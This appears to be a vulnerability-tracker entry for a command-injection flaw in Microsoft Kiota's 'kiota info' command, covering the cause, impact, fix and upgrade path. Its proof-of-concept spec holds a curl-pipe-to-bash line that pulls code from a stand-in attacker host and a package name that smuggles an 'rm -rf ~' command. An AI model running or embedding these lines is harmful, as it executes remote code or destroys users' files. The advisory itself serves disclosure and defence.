CVE-2026-59865Critical▾ MidnightMicrosoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`
▾ Midnight zone — Critical, or high with PoC / in-the-wild
impact 52.3 · likelihood 0.9 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 24.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
3.2%
3.2% → 4.4%
kiota info — the command developers run to learn which packages to install after generating a client —
read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied
dependencyInstallCommand (and dependency name/version) as the tool's own recommended install
command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised
description:
$ kiota info -d <attacker-spec> -l CSharp
...
Hint: use the install command to install the dependencies.
Example:
curl -s https://attacker.example/x.sh | bash # attacker-controlled
A developer who followed kiota's explicit instruction (run the suggested install command) executed
attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the
Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string
directly, so an "install dependencies" action in the IDE could run it automatically.
Confirmed on Kiota 1.32.4.
x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the
install-command example, and dependencies[].name/version were shown verbatim in the package table:
# spec
x-ms-kiota-info:
languagesInformation:
CSharp:
dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]
Without x-ms-kiota-info, kiota suggests its own trusted command (e.g.
dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it.
kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in
dependencyInstallCommand.
A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed
kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI
host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output,
could make this automatic. CWE-94 / CWE-829.
Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).
Fixed in 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied
dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or
presents a description-provided install command and only surfaces kiota's own built-in, package-manager
templates. The --json output no longer carries a spec-controlled command string for the IDE to run.
Upgrade to Kiota 1.32.5 or later. Update the Kiota VS Code extension to a version built against 1.32.5+.
Microsoft.OpenApi.Kiota < 1.32.5Microsoft.OpenApi.Kiota.Builder < 1.32.5Upgrade to a patched release:
Microsoft.OpenApi.Kiota 1.32.5Microsoft.OpenApi.Kiota.Builder 1.32.5Connected by shared product, vendor, weakness, or advisory.
CVE-2026-59864CriticalMicrosoft Kiota: Path/URL injection into generated Copilot plugin manifest via x-ai-* extensions
CVE-2026-59867High· 7.1Microsoft Kiota: Generation-time SSRF + remote/local file inclusion via unrestricted $ref
CVE-2026-59863HighMicrosoft Kiota Workspace-config poisoning: out-of-repo file write + generation-time SSRF
CVE-2026-59866HighMicrosoft Kiota: Arbitrary file write + code-injection via x-ms-kiota-info clientClassName and clientNamespaceName
CVE-2026-59860HighMicrosoft Kiota: XML Doc-Comment Newline Breakout Code Injection
CVE-2026-59861High· 7.5Microsoft Kiota: Code Generation Literal Injection in Kiota Ruby Generator